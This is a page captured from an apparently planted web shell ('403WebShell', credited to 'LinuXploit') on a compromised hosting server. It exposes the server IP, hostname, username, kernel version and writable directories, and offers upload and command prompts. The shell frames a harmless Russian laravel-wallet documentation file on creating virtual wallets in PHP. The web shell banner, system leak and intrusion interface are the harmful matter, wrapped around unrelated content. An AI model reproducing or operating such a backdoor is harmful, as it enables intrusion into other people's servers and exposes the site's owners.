Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.190.239.189
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/vendor/bavix/laravel-wallet/docs/ru/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/vendor/bavix/laravel-wallet/docs/ru/new-wallet.md
# Как добавить кошелек

У пользователя виртуальных кошельков может быть сколько угодно.
Единственное ограничение это уникальный `slug` для них.

---

## Пользователь

Добавим `HasWallet`, `HasWallets` trait's и `Wallet` interface в модель.

```php
use Bavix\Wallet\Traits\HasWallet;
use Bavix\Wallet\Traits\HasWallets;
use Bavix\Wallet\Interfaces\Wallet;

class User extends Model implements Wallet
{
    use HasWallet, HasWallets;
}
```

## Создадим кошелек

Найдем пользователя.

```php
$user = User::first(); 
```

Проверим баланс.

```php
$user->balance; // int(0)
```

`$user->balance` - это алиас вызова `$user->wallet->balance`,
кошелек по умолчанию.

Создадим новый кошелек.

```php
$wallet = $user->createWallet([
    'name' => 'New Wallet',
    'slug' => 'my-wallet',
]);

$wallet->deposit(100);
$wallet->balance; // int(100)

$user->deposit(10); 
$user->balance; // int(10)
```

## Как обратиться к новому кошельку?

```php
$myWallet = $user->getWallet('my-wallet');
$myWallet->balance; // int(100)
```

## Как обратиться к кошельку по умолчанию?

```php
$wallet = $user->wallet;
$wallet->balance; // int(10)
```

Просто работает!

Youez - 2016 - github.com/yon3zu
LinuXploit